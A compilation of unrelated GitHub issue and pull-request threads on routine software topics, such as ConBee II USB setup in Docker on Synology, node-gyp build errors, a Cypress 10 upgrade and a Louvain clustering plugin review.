Synology Conbee2 not connected

I am trying to run a Conbee2 at my Synology in Docker.
I installed docker-deconz through the Docker setup in my Synology DS218 +.
Started with high privileges and changed these variables.
DECONZ_DEVICE /dev/ttyACM0
DECONZ_WEB_PORT 6000
DECONZ_WS_PORT 6001
ssh executed these two commands
@DiskStation:~$ sudo su
Password:
ash-4.3# sudo insmod /lib/modules/usbserial.ko
ash-4.3# sudo insmod /lib/modules/ftdi_sio.ko
lsusb
|__usb1          1d6b:0002:0404 09  2.00  480MBit/s 0mA 1IF  (Linux 4.4.59+ xhci-hcd xHCI Host Controller 0000:00:15.0) hub   |__1-3         1cf1:0030:0100 02  2.01   12MBit/s 100mA 2IFs (dresden elektronik ingenieurtechnik GmbH ConBee II DE2122449)   |__1-4         f400:f400:0100 00  2.00  480MBit/s 200mA 1IF  (Synology DiskStation 65007A2245CA6072) |__usb2          1d6b:0003:0404 09  3.00 5000MBit/s 0mA 1IF  (Linux 4.4.59+ xhci-hcd xHCI Host Controller 0000:00:15.0) hub   |__2-2         174c:55aa:0100 00  3.00 5000MBit/s 0mA 1IF  (ASMT ASM1156-PM<PHONE_NUMBER>0000000000)
dmesg
[53657.172452] usb 1-3: USB disconnect, device number 4 [53657.484056] usb 1-3: new full-speed USB device number 5 using xhci_hcd [53662.625293] usb 1-3: unable to read config index 0 descriptor/all [53662.632136] usb 1-3: can't read configurations, error -110 [53662.761240] usb 1-3: new full-speed USB device number 6 using xhci_hcd [53667.908454] usb 1-3: unable to read config index 0 descriptor/all [53667.915461] usb 1-3: can't read configurations, error -110 [53668.044433] usb 1-3: new full-speed USB device number 7 using xhci_hcd [53673.062654] usb 1-3: unable to read config index 0 descriptor/all [53673.070129] usb 1-3: can't read configurations, error -110 [53673.199612] usb 1-3: new full-speed USB device number 8 using xhci_hcd [53673.517213] usb 1-3: unable to read config index 0 descriptor/all [53673.524180] usb 1-3: can't read configurations, error -71 [53673.531014] usb usb1-port3: unable to enumerate USB device [53673.538732] hub 1-0:1.0: [3/3] Disabling USB power and waiting 14143 ms for port 3 [53687.696121] hub 1-0:1.0: [3/3] Enabling USB power and waiting 3 ms for port 3 [53687.964130] usb 1-3: new full-speed USB device number 9 using xhci_hcd [53688.107023] cdc_acm 1-3:1.0: ttyACM0: USB ACM device [53688.160423] usbcore: deregistering interface driver cdc_acm [53690.842013] PPP generic driver version 2.4.2 [53690.853483] cdc_acm 1-3:1.0: ttyACM0: USB ACM device [53690.859903] usbcore: registered new interface driver cdc_acm [53690.866771] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters [53691.602924] usb 1-3: USB disconnect, device number 9 [53691.917273] usb 1-3: new full-speed USB device number 10 using xhci_hcd [53697.069501] usb 1-3: unable to read config index 0 descriptor/all [53697.076334] usb 1-3: can't read configurations, error -110 [53697.206458] usb 1-3: new full-speed USB device number 11 using xhci_hcd [53702.354672] usb 1-3: unable to read config index 0 descriptor/all [53702.361505] usb 1-3: can't read configurations, error -110 [53702.490644] usb 1-3: new full-speed USB device number 12 using xhci_hcd [53702.510766] cdc_acm 1-3:1.0: ttyACM0: USB ACM device [53702.533444] usbcore: deregistering interface driver cdc_acm [53705.041474] PPP generic driver version 2.4.2 [53705.053463] cdc_acm 1-3:1.0: ttyACM0: USB ACM device [53705.059801] usbcore: registered new interface driver cdc_acm [53705.066199] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters

I’m guessing that the stick doesn’t show up in the web ui?

On synology in some cases the mount point of usb is not the same in the Syno and in the Docker instance.
After stated the deconz docker, see details on go to terminal tab, create new.
Connect on bash terminal and type
$apt-get update
$apt-get install usbutils nano
$nano testusb.sh
past this code in file
`
#!/bin/bash
for sysdevpath in $(find /sys/bus/usb/devices/usb*/ -name dev); do
(
syspath="${sysdevpath%/dev}"
devname="$(udevadm info -q name -p $syspath)"
    [[ "$devname" == "bus/"* ]] && continue
    [[ "$devname" == "input/"* ]] && continue
    [[ "$devname" == "video0"* ]] && continue

    eval "$(udevadm info -q property --export -p $syspath)"
    [[ -z "$ID_SERIAL" ]] && continue

    busnum="$(udevadm info -a -p  $(udevadm info -q path -n /dev/$devname) | awk -F "==" '/busnum/ {gsub("\"","");print $2}' | head -1)"
    devnum="$(udevadm info -a -p  $(udevadm info -q path -n /dev/$devname) | awk -F "==" '/devnum/ {gsub("\"","");print $2}' | head -1)"
    bus_dev=${busnum}:${devnum}
    lsusb="$(lsusb -s $bus_dev)"

    echo "$lsusb - /dev/$devname"
)

done
`
close with ctrl+x
$chmod +x testusb.sh
and run it
$./testusb.sh
you should have something like this.
root@flexy2dd-deconz:/# ./testusb.sh                                                                                Bus 001 Device 004: ID 0658:0200 Sigma Designs, Inc. Aeotec Z-Stick Gen5 (ZW090) - UZB - /dev/ttyACM0                                                     Bus 001 Device 071: ID 1cf1:0030 Dresden Elektronik  - /dev/ttyACM1
check if /dev/ttyACM* corresponds to conbee
If you have one stick the assignment does not have to change but if you have several (like me) it can change at each reboot. (see my PR https://github.com/marthoc/docker-deconz/pull/197)

Closing this given the age of the issue, please open a new issue if this is still relevant.


Updates doctocat dependency to 3.0.1

This updates our docs' doctocat dependency to 3.0.1. This should address an issue where the removal of styled system prop support in this repo led to bugged styling in our docs.
Merge checklist

[ ] Added/updated tests
[ ] Added/updated documentation
[ ] Tested in Chrome
[ ] Tested in Firefox
[ ] Tested in Safari
[ ] Tested in Edge

Take a look at the What we look for in reviews section of the contributing guidelines for more information on how we review PRs.

Preview looks good


source-controller: fix cgo builder image to be builder-base

Issue #, if available:
Description of changes:
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/override hegel-tooling-presubmit
/lgtm
/approve


Remove some cells from no_synth.tcl and drc_excluded.tcl

I can't merge this---It needs to be taken up with the Openlane developers.  If you can get their okay on it, I can merge it.

@RTimothyEdwards makes sense. @donn any thoughts here?

Hmm, I don't know. I'd have to run the extended test set on this. It's entirely possible something is still broken somewhere and/or we missed something.

Here's at least one of the reasons we excluded a cell (a magic issue since fixed):
https://github.com/The-OpenROAD-Project/OpenROAD/issues/580

I am finding some designs are struggling to route with this patch, investigating.


Test migrating 'aws-kinesisstreams-gluejob' to v2

Issue #, if available:
Description of changes:
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

I guess you don't need this PR anymore, right?


Set a valid base category after renaming categories

The base category should change after renaming categories. For example,
>> dv = Daru::Vector.new [:a, :a, :b], type: :category
=> #<Daru::Vector(3):cataegory>
   0   a
   1   a
   2   b
>> dv.base_category
=> :a
>> dv.rename_categories :a => :c
=> #<Daru::Vector(3):cataegory>
   0   c
   1   c
   2   b
>> dv.base_category
=> :a

Since :a category exist no more, the base category should change.

Seems logical.


Responses should be exactly as the user intended.

Stapler was adding a platform dependant line feed to the end of html and plain text
responses.  This was either

a bug in the production code
a) should send as is
b) should use a non platform specific line end
a bug in the unit test that assumed unix line ends

I opted for 1b as the path of least surprise.
Fixes #91
@reviewbybees

This pull request originates from a CloudBees employee. At CloudBees, we require that all pull requests be reviewed by other CloudBees employees before we seek to have the change accepted. If you want to learn more about our process please see this explanation.

test passses for me on both Linux (bash-on-ubuntu-o-windows) and Windows.  Issue does not seem to be with line ends, but just not running the jelly script :-/

this is going to be incompatible for plugins which were expecting to send text with a newline included

so there are already things broken if they expected that exact behaviour, changing it to use \n will not help - they are still broken.
The deprecated mess will leave plugins broken when run on windows until they update - so it really is exactly the same amount of work - the plugin is broken when run on windows and needs to update code either way.  Just one is more work yet noisy, the other is less work and silent (part of the release notes etc that don;t get read)

there are already things broken if they expected that exact behaviour

Not necessarily. Clients can expect a newline not of a particular type.
Still feel uncomfortable with this.

the plugin is broken when run on windows and needs to update code

Not necessarily. It is up to the author of that plugin to decide what kind of response was intended. Deprecating the current method forces that person to spend a moment thinking about what they want. They may want a response with no newline, or they may want one with NL.
Anyway there was no reported case of any user complaint that I know of. Only test failures, which would be equally well solved by a deprecation + replacement, assuming the test code begins to call the replacement.

Took a different approach.


Incompatibility with node 10.15 and 11.6

Node Version:  10.15 and 11.6
Platform: macOS Mojave
Compiler: Apple LLVM version 10.0.0 (clang-1<IP_ADDRESS>)
Target: x86_64-apple-darwin18.2.0
Thread model: posix
InstalledDir: /Library/Developer/CommandLineTools/usr/bin
Module: mean.js

Verbose output (from npm or node-gyp):
node-pre-gyp ERR! Tried to download(404): https://fsevents-binaries.s3-us-west-2.amazonaws.com/v1.1.2/fse-v1.1.2-node-v64-darwin-x64.tar.gz
node-pre-gyp ERR! Pre-built binaries not found for<EMAIL_ADDRESS>and<EMAIL_ADDRESS>(node-v64 ABI) (falling back to source compile with node-gyp)
node-pre-gyp http 404 status code downloading tarball https://fsevents-binaries.s3-us-west-2.amazonaws.com/v1.1.2/fse-v1.1.2-node-v64-darwin-x64.tar.gz
node-pre-gyp verb command build [ 'rebuild' ]
node-pre-gyp ERR! Tried to download(undefined): https://fsevents-binaries.s3-us-west-2.amazonaws.com/v1.1.2/fse-v1.1.2-node-v64-darwin-x64.tar.gz
node-pre-gyp ERR! Pre-built binaries not found for<EMAIL_ADDRESS>and<EMAIL_ADDRESS>(node-v64 ABI) (falling back to source compile with node-gyp)
node-pre-gyp http Connection closed while downloading tarball file

4 warnings and 1 error generated.
4 warnings and 1 error generated.
make: make: *** [Release/obj.target/fse/fsevents.o] Error 1
*** [Release/obj.target/fse/fsevents.o] Error 1
gypgyp  ERR!ERR! build error
build error
gyp gyp ERR!ERR!  stackstack Error: `make` failed with exit code: 2
gyp Error: `make` failed with exit code: 2
 gyp ERR! ERR!stack      at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:262:23)
stackgyp     at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:262:23)
 ERR!gyp  stackERR!     at ChildProcess.emit (events.js:182:13)
 gypstack      at ChildProcess.emit (events.js:182:13)
gypERR!  stackERR!     at Process.ChildProcess._handle.onexit (internal/child_process.js:240:12)
 stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:240:12)
gypgyp  ERR! ERR! SystemSystem Darwin 18.2.0
 Darwin 18.2.0
gyp ERR! gypcommand  "/usr/local/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64/fse.node" "--module_name=fse" "--module_path=/path/Server_Docker/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64"
ERR! gypcommand  "/usr/local/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "build" "--fallback-to-build" "--module=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64/fse.node" "--module_name=fse" "--module_path=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64"
ERR! cwdgyp /path/mean/node_modules/fsevents
 ERR!gyp  cwdERR! /path/mean/node_modules/fsevents
 gypnode -v  v10.15.0
ERR! gypnode -v  v10.15.0
ERR! gypnode-gyp -v  v3.8.0
ERR!gyp  node-gyp -vERR! v3.8.0
 not okgyp
 ERR! not ok
node-pre-gyp ERR! build error
node-pre-gyp ERR! stack Error: Failed to execute '/usr/local/bin/node /usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js build --fallback-to-build --module=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64/fse.node --module_name=fse --module_path=/path/mean/node_modules/fsevents/lib/binding/Release/node-v64-darwin-x64' (1)
node-pre-gyp ERR! stack     at ChildProcess.<anonymous> (/path/mean/node_modules/fsevents/node_modules/node-pre-gyp/lib/util/compile.js:83:29)
node-pre-gyp ERR! stack     at ChildProcess.emit (events.js:182:13)
node-pre-gyp ERR! stack     at maybeClose (internal/child_process.js:962:16)
node-pre-gyp ERR! stack     at Process.ChildProcess._handle.onexit (in

Same here, has anyone found a different solution than downgrading nodejs to v8?

Same here!!

gyp ERR! cwd /usr/local/lib/node_modules/local-npm/node_modules/leveldown gyp ERR! node -v v10.15.3 gyp ERR! node-gyp -v v3.8.0 gyp ERR! not ok  npm ERR! code ELIFECYCLE

I don't know the reason but it worked after I switched from using npm to yarn instead

I think there's a few very distinct issues in this thread and node-gyp may not be directly responsible. I'm going to close this, but if you're still experiencing problems then feel free to open a new issue with some verbose build output. The short output doesn't help all that much in some of these cases. node-gyp build --verbose


Change default architecture cluster api

Explain problem to solve
We have a default architecture with cluster api with every parameters which are configurable (vpc, subnet, ....).
The current default CIDR is too limited.
Describe the solution you would like
We will change this infrastructure to use only 3 subnets (we will merge subnet nat with subnet public) and we will change the default CIDR.
VPC_CIDR: <IP_ADDRESS>/8
WORKER_CIDR: <IP_ADDRESS>/16
MASTER_CIDR: <IP_ADDRESS>/24
PUBLIC_CIDR: <IP_ADDRESS>/24
Additional context
None
Environment
- Kubernetes version: (use `kubectl version`): v1.22.5-rancher1-1
- OS (e.g. from `/etc/os-release`): CentOS Linux 7 (Core)
- Kernel (e.g. `uname -a`): 3.10.0-1160.15.2.el7.x86_64
- cluster-api-provider-outscale version: v1.1.3
- cluster-api version: current
- Install tools: calico, ingress-nginx, osc-ccm
- Kubernetes Distribution: rke
- Kubernetes Distribution version: v1.3.4

Done
https://github.com/outscale-dev/cluster-api-provider-outscale/pull/206


add quzeta validator

This PR adds a new validator to the testnet 1 (would be interested in joining the others as well). I am reopening a PR from my forked repo, as the old PR number 19 was recently closed without merge.

Please provide some contact info provided. Not merged for now due to no contact info

Oh, I didn't know this was needed sorry. There it goes:
Twitter: @Queroliita
discord: anais#7001

https://github.com/anoma/namada-testnets/pull/421


feat: mTLS northbound

Northbound mTLS configuration on existing GLB using GCP Private CA.

We should be good to go now.


Coordinate Grants move to Production with Sympletic Admin

Moving the grants upload process to production requires some communication and configuration with the Sympletic support team.

[ ] Point to related Issues

Expected behavior
Regular import jobs will run once daily in the production environment.
QA / QC
Confirmation by reviewing logs and inspections of the CDL Elements UI.

From Lucian (Symplectic) 3/19
If you want to import the grants also into the Prod system, you need to upload the input files in the "\PROD" folder on the FTP server.
We configured the grants importer to use the next file names in the PROD folder, you just need to overwrite these files with your files:
for metadata is "Prod_UCD_grants_metadata.csv"
for persons is "Prod_UCD_grants_persons.csv"
for links is "Prod_UCD_grants_links.csv"
You may review the log files on the FTP server in the "\PROD\Logs\UCDavis_Grants_Feed_logs" folder.
First we will run a manual iteration to see how long it will take. After that we can schedule it as per your need.
Please, upload the input files on the FTP server and let us know when we can start the importer.
Kind regards,
Lucian B.


/api/v1/custom_component/update 400 bad request

Bug Description
{
"detail": "1 validation error for MessageInput\nvalue\n  Value error, Invalid value type <class 'dict'> [type=value_error, input_value={'text_key': 'text', 'dat...: '2024-07-31 05:41:44'}, input_type=dict]\n    For further information visit https://errors.pydantic.dev/2.8/v/value_error"
}
DropdownInput(
name="model_name",
display_name="Model Name",
value="llama3",
info="Refer to https://ollama.ai/library for more models.",
refresh_button=True,
),
Is it becacuse ollama.ai changed to ollama.com ? So this plugin can not get module name correctly ?
Reproduction
In Ollama Plugin, click module name refesh
Expected behavior
show module names
Who can help?
No response
Operating System
docker image 1.0.14
Langflow Version
1.0.14
Python Version
None
Screenshot
No response
Flow File
No response

And if I added a custom LLM in Ollama, then Ollama plugin get LLM names from ollama.com, so I will not able to choose what I added in Ollama ?

Hi @artemus717  Thank you so much for reporting the issue. Just to make sure I understand exactly what is happening. Is the error occurring when you initially load or after running it previously? Furthermore, if you are able to send a screen recording of what causes the issue, that would help greatly. Looking forward to your response.

@artemus717 We have updated the component with the correct URL. This will be reflected in the next release. Please let us know if you are still dealing with the issues.

@artemus717 We have updated the component with the correct URL. This will be reflected in the next release. Please let us know if you are still dealing with the issues.

fixed in 1.0.15 ?

@artemus717 If you could provide a screenshot of how the component is running/being refreshed, and what the url is set to, that will allow us to dig deeper into the issue. For your initial error, its likely that the input value is incompatible, If you could provide a screenshot of the input, we can dig deeper.

Thank you for your contribution! This issue will be closed. If you have any questions or encounter another problem, please open a new issue and we will be ready to assist you


[ENHANCEMENT] Add github runner CI and intergration test to Harvester repos

Is your enhancement related to a problem? Please describe.
Add GitHub runner CI to Harvester repos
Describe the solution you'd like

[ ] add upgrade integration test to the harvester/harvester repo

[ ] need to an option for keeping the testing cluster

Describe alternatives you've considered

Additional context

Associated ticket is not tagged to 1.4.0. Are we going to have this 1.4.0?

Move to planning. We are now using Github runners but the upgrade test in the description is not implemented yet.


Bad Unplayable Card Information

Currently when a user attempts to play a card, we give no message back. This needs to be reviewed. Is it necessary? Should the exact reasons be present on the client side and only logically enforce it on the server side? No detailed messages?

This was recently fixed with some refactoring of the functions within the game loop. Now PlayCard and Attack throw exceptions if something is invalid with a detailed message.


Multisig incorrect warning on Multisig Add/Remove Signer Tool

User Story
As a Validator (or Vega team member)
I want to know when the Ethereum Multisig Contract is configured incorrectly and how
So that I can understand the reason for delays to my rewards payouts and understand what updates need to be made to resolve it
Acceptance Criteria

[ ] I can see a warning on the Multisig Add/Remove Signer Tool when the Multisig Contract signers list differs from the current consensus validators list on the Vega datanode API
[ ] I can see a link to the Multisig Contract on Ethereum relevant to the network I am currently on (i.e. https://sepolia.etherscan.io/address/0x36276F313D2428f9893dD628593589802c3382de for Fairground)
[ ] I can see information about what the differences are:

[ ] multisig contract contains n additional validator(s) that aren't currently consensus validators on the vega network AND/OR
[ ] multisig contract is missing n validator(s) that are currently consensus validators on the vega network

[ ] I can understand the impact of the Multisig Contract being configured incorrectly (i.e. delay to rewards payouts)
[ ] I can see how to get to the right part of the docs site to learn more about Validator Scores and Rewards
[ ] When updates have been made that resolve the differences I can no longer see the Multisig warning

Questions left to answer

When we are wanting to flag that the contract is misconfigured, what do we know / can we tell about what's different between what's on the multisig contract and the consensus validators on the network? Like can we work out these things?:

multisig contract contains n additional validator(s) that aren't currently consensus validators on the vega network
multisig contract is missing n validator(s) that are currently consensus validators on the vega network
Both of those things are true
Or something else?

Sketch

Tasks

[ ] Detailed sketch and finalise copy
[ ] Visual design
[ ] Implement
[ ] Write unit tests
[ ] Write end to end tests
[ ] Code review
[ ] Team verify acceptance criteria met
[ ] Exploratory QA testing
[ ] Capture bugs and new edge cases in tickets (this one or new TBD)
[ ] Resole bugs and new edge cases (as applicable)
[ ] Write automated regression tests against the A/Cs (expanding on A/Cs where possible)
[ ] Add story and A/Cs to Governance spec doc
[ ] Review with stakeholders
[ ] Release

Just a note on how you might go about working out the nodeIDs of the validators who need to be added/removed from the multisig contract.
Using the /api/v2/epoch, you would need to first iterate backwards through all the epochs to the first one where all validators have a rewardScore.multisigScore of 1. This will be the last time the multisig contract was correct. Then you need to look at that epoch's ranking score and look for:

A nodes rankingScore.previousStatus != VALIDATOR_NODE_STATUS_TENDERMINT && rankingScore.status == VALIDATOR_NODE_STATUS_TENDERMINT. This means they need to be added to the contract
A nodes rankingScore.previousStatus == VALIDATOR_NODE_STATUS_TENDERMINT && rankingScore.status != VALIDATOR_NODE_STATUS_TENDERMINT. This means that node needs to be removed

Then iterate forward through the epochs again doing the same and collecting all the other add/remove validators that might have occurred during the time that it has been out of sync.
I would think that almost all of the time when the multisig needs updating in mainnet you would probably only have to look back a couple of epochs and there would only be one person to add and one to remove. This is because people will actually care a little bit more than on the validator-testnet because actually money is being withheld on mainnet when its out of sync.
Also note that if a checkpoint restore happens while the multisig contract is out of date then this won't work because we'd lose the data from before the checkpoint and not be able to find the last time everything was correct.


Created louvain communities action for community detection in networks

New _louvain.py script for method that allows to obtain consensus partition.
New sematic type: Node_Community
Updated README with python libraries needed for the Louvain method.

Thank you very much @rhernandvel for this commit! It is very much appreciated.
Thanks also @nbokulich for your valuable comments.
I have a few high-level comments (that are probably a bit painful, sorry).

We have worked hard to keep the dependencies down, so I'm reluctant to add python-louvain or netneurotools.

Louvain community detection is available in networkx (an existing dependency). Could we use that instead?
Clustering consensus is a bit harder, but could we use a VotingClassifier from scikit-learn (also an existing dependency) to similar effect?

I agree with @nbokulich that we need to be able to use the output of this algorithm. Can we reuse an existing semantic type?

Probably the easiest way it to just output another network with the labels annotated on the nodes. See the spiec-easi and flashweave functions for examples of how to do that.
You could reuse the Hierarchy core qiime2 type. Here is an example.

The other thing is that it will probably take me a while to take full advantage of community information. Ultimately it would be great to be able to collapse large networks interactively, but for the first release I will probably target colouring nodes. An intermediate step might be a hierarchical edge bundling visualisation. As such, an annotated network or any output that could be transformed to metadata would work in the first instance, and we could get fancier later.
Thanks again!

After further thought, writing our own consensus clustering function would be a simple alternative to neurotools.

Thanks for the comments @BenKaehler!

Python-louvain will be replaced by the louvain community detection in networkx. Python-louvain was initially selected because it allows to obtain a dendogram which contains all the levels in a simpler output format compared to nx.community louvain_partitions.

Obtaining a consensus is desirable since it has been shown to lead to more accurate partitions compared to single runs of community detection methods (Lancichinetti & Fortunato, 2012).

For the output of the algorithm, I consider that using a table format instead the of a network with the labels annotated on the nodes would be more scalable and allow for several features to be visualized in the graph. The semantic type for this would still be NodeMap (currently named NodeCommunityFormat) and the transformers to go from NodeMap to pd.DataFrame and from NodeMap to qiime2.Metadata would be included as suggested by @nbokulich .

Taking into account that the partitions with the highest modularity per run are the ones used to generate the consensus and that a method for visualization is not available for hierarchy it would not be necessary to obtain use the Hierarchy core qiime2 type.

Lastly, I will also check if there is a clustering algorithm in the already present libraries that could be useful and otherwise write the consensus clustering function for this.

If all this sounds good, I will proceed to integrate these steps!

Thanks @rhernandvel, that sounds great.
Will you include the full hierarchy in the node map table? You could separate levels using "; ", as we do for taxonomies. In fact, I would feel tempted to recycle FeatureData[Taxonomy] for the purpose. If you do, the visualiser will recognise the levels and allow them to be displayed without further modification. Maybe consult with @nbokulich on that one.
Regarding the consensus clustering algorithm, it looks like it would be pretty straightforward to implement. This is the one that they use in Lancichinetti & Fortunato, 2012:

The starting point is a network  with n vertices and a clustering algorithm A.
1 Apply A on  nP times, so to yield nP partitions.
2 Compute the consensus matrix D, where Dij is the number of partitions in which vertices i and j of  are assigned to the same cluster, divided by nP.
3 All entries of D below a chosen threshold τ are set to zero.
4 Apply A on D nP times, so to yield nP partitions.
5 If the partitions are all equal, stop (the consensus matrix would be block-diagonal). Otherwise go back to 2.

I would be happy to contribute it if it comes to that.
Thanks again, I look forward to seeing your revisions.

Thanks again for the comments @BenKaehler
I was thinking of only including the level with the highest modularity in the NodeMap table because the consensus is obtained only for this level. If the hierarchy is to be stored, separating the levels using  “;” seems a suitable option.
The consensus clustering algorithm used in Lancichinetti & Fortunato (2012)  is a good option and also straightforward to implement. The downside to this method is that it generates a consensus that may correspond in some cases to a new partition different from any of the nP partions, thus losing the higher levels (hierarchy).
Looking forward to seeing your comments on this

Thanks @rhernandvel, I'm happy with you returning the level with the highest modularity.
Does that solve the problems with the Lancichinetti & Fortunato algorithm?
Either way I'm happy with any consensus clustering algorithm you can implement or vendor.

Great! Thanks @BenKaehler
Yes, this solves the issue with the Lancichinetti & Fortunato algorithm.
I will then include all these changes.

Hi @rhernandvel, thanks very much for your latest commit, I can't wait to try it.
Could you please tidy up a bit to remove the changes to the README and resolve the conflicts in plugin_setup.py?
I should be able to merge without conflicts and it should pass existing CI.
If you have time, some unit tests for _louvain.py would be fantastic, but we can sort that out later if you want.
Thanks!

Hi @BenKaehler ,
I removed the changes to the README and resolve the conflicts in plugin_setup.py.
I also added a test for _louvain.py.
Thanks!


Is there any reason to use @supports here?

You have this example:
:root {
  --vh-offset: 0px;
}
main {
  min-height: calc(100vh);
  @supports (height: var(--vh-offset)) {
    min-height: calc(100vh - var(--vh-offset));
  }
}

but it seems like it should work just as well without @supports:
:root {
  --vh-offset: 0px;
}
main {
  min-height: calc(100vh);
  min-height: calc(100vh - var(--vh-offset));
}

If var() is not supported, that second value will be ignored, leaving you with the first 100vh value.
If var() is supported, but vh-offset isn't needed, it will be set to 0px still, and have no effect.

@mirisuzanne You point it right, no real reason…
I think I was just in the mood of over-engineering :S
I will modify documentation accordingly. Thank you very much for this :)

Great, thanks for the vh-check — very useful!


WIP: setup for path diversity project

See the last task in #122.
I created the folder structure and changed the path_index.py to __init__.py. (Also changed the tests section correspondingly)

@jarrodmillman, can you help me check whether I put the files in the right place. If you have any suggestion, please tell me. Thank you.

Coverage remained the same at 49.787% when pulling c28d54ee7325f8fb19d08ded2ccafc2202071f2d on jJasonWang:subproject-issue122 into b294e9dcf3d51b4081570a03989003d9a25faa9a on berkeley-stat222:master.

Coverage remained the same at 50.0% when pulling 85b69b89aff81303346eefa3a5e3d440c65d0f65 on jJasonWang:subproject-issue122 into 2f7504144649ea718b6a603a1625728d54624cd5 on berkeley-stat222:master.

@changsiyao, I saw that your setup was merged by Jarrod. Can you help me double check whether the setup is correct? Thanks!
If it is okay, then I will change it into MRG.

Yep, this looks good. I think you can change it merge. @jJasonWang


Add ocean and inlandWater properties for iOS

@devfd 2 tests were failing for me on master before i added these fields, is there additional test setup i may have missed?


Added NEON versions

I have added a few NEON instructions which were missing. There was also a bool missing somewhere in is_macos. Is this actually used?

Thank you!
I did a small refactor and fixed it so the last 0-7 elements (if they would be present) would be converted as well. Also I followed your example to add NEON intrinsics to signed_magnitude_to_twos_complement_16_block()
(renamed from convert_to_absolute_value_16_block). See here: 2e833bf051daa858f1138cd5e9c5239eb212d5df Could you maybe double-check that I did that right?
Do you think you might be able to add ARM SIMD instructions for the color space conversion as well? In my benchmarks, this was also one of the more time-consuming parts of the decoding.
The is_macos was a global variable that I forgot to declare, used in the Slidescape codebase. I don't think we're using it for libisyntax right now. I added a
refactor f142dcef71e020341853fa39d98f2b23e8dcd429 that hides it in a struct and marks some of the globals more clearly. (Not really sure what would be best here.)

Thanks! Yes, I can definitely add those in the color space conversion too.


Apply fixes from CodeFactor

This pull request applies style fixes from code review by CodeFactor.

For more information, click here.

I can see that is just adding the ESlint rules. We can achieve the same functionality if we add ESlint rules and Prettier formatting. Then we will not need to use 3rd party websites like this one.
P.S. I agree with the changes

What all configuration do we did default eslint with airbnb one or which one

airbnb with react

Will you configure it or shall I?

OK, I will start working on it.


Update heterogeneous-hello-world to use gfx changes + delete shader.cpp

Removing shader.cpp from the repo now works for Windows, but I can't figure out what is causing an issue on the Linux build.
I think the build stops due to this error:
make[1]: *** No rule to make target '../../../examples/heterogeneous-hello-world/shader.cpp', needed by '../../../intermediate/linux-x64/debug/heterogeneous-hello-world/shader.o'.  Stop.
which (searching tells me) is usually due to the .cpp file not existing, but shader.cpp should be generated by the prebuild step I added (and works in Windows).


Example site not working

Describe the bug
Example site can't be served.
Expected behavior
Example site serve is served through localhost.
Screenshots

Build Environment

OS: Ubuntu
Theme version/commit: 163ae2c
Hugo version: 0.87.0

Preview Environment

OS: Ubuntu
Browser: Chrome

Proposed solution
Editing the theme in config.toml in exampleSite directory works for me.
Changed it from theme = "./" to theme = "../".
Or am I missing something here? Thanks.

If you are trying to debug the theme documentation, you need to cd directly from the main directories instead of exampleSite

That was my first try. But I get this error instead

Maybe because there is no config.toml in the theme's main directory?

That was my first try. But I get this error instead

Maybe because there is no config.toml in the theme's main directory?

If you have npm installed in your system, do this:

Without production environment
npm run start
With production environment
npm run start-production

Or directly from hugo command, do this:

Without production environment
hugo server --source=exampleSite --themesDir ../ -D --disableFastRender
With production environment
hugo server --source=exampleSite --themesDir ../ -D --disableFastRender -e production

Thanks! Sorry I didn't notice that.


Release the code？

Hello, i have read your paper and be very interested in your work. Could you tell me when the code will be released?

Thank you for your interest in our work. The code is undergoing final testing and is expected to be released this week!


Update Cypress to 10.10.0

This PR implements the enhancement request https://github.com/corona-warn-app/cwa-website/issues/3100 "Update Cypress to latest version (10)" to update Cypress to version 10.10.0, which is currently the latest available version.
A side effect of this update is to allow Cypress to support the the Apple M1 ARM architecture natively without requiring Rosetta to run.
See Cypress Changelog.
Impact
Cypress 10 introduces breaking changes due to the new functionality of component testing which is added alongside the existing end-to-end testing (e2e). For instance, new folders are introduced, so that the existing cypress/integration folder is migrated to cypress/e2e. Also test specs are renamed: app_to_web.js becomes app_to_web.cy.js. See the Cypress Migration Guide for more detail.
In Cypress 10 the "Run all specs" is no longer available in the UI. Only individual tests can be run from the UI. To run all tests the CLI needs to be used. See Discussion: 'Run all specs' removal in Cypress 10.
Migration steps
The following steps have been carried out by this PR:
Install Cypress 10

npm install -D cypress@latest (installs<EMAIL_ADDRESS>- see Changelog)
npx cypress open
Click "Continue to Cypress 10"

Migration tool
In the migration tool which automatically starts in the Cypress UI:

Click "Rename these specs for me"
Click "Rename the support file for me"
Click "Migrate the configuration for me"

"E2E Testing" is now marked as "Configured"
"Component Testing" is left as "Not Configured"

Close Cypress test runner window

Post installation

Edit .github/workflows/cypress-test-prod.yml and change cypress spec folder from integration to e2e i.e. spec: cypress/e2e/*.js
Modify the cypress:open script in package.json to use e2e and browser Chrome i.e. "cypress:open": "cypress open --e2e --browser chrome"
Update README.md regarding change of folder and removal of "all tests" option in open command.
Add cypress/downloads/ to .gitignore

Verification
After fetching the branch MikeMcC399:cypress-10 execute
npm ci to install Cypress 10.10.0.
Execute the following and check that all tests pass:
npm run test:chrome
npm run test:firefox
npm run test
npx cypress run -s 'cypress/e2e/*.js' -c baseUrl=https://coronawarn.app --headless --browser chrome

Execute
npm run test:open
and check that the list of e2e test specs is shown immediately and the default browser is Chrome.
Select and run one of the tests listed, such as mime.cy.js.
Test on:

Windows 11
Ubuntu 20.04
macOS

Note that there is currently an issue with a warning message "Couldn't find tsconfig.json. tsconfig-paths will be skipped". See issue 22273 in https://github.com/cypress-io/cypress/issues/22273. This warning can be ignored.
Test the workflow .github/workflows/cypress-test-prod.yml and ensure that it passes.

Internal Tracking ID: EXPOSUREAPP-14080

Windows 11 tests

[ ] npm run test:chrome
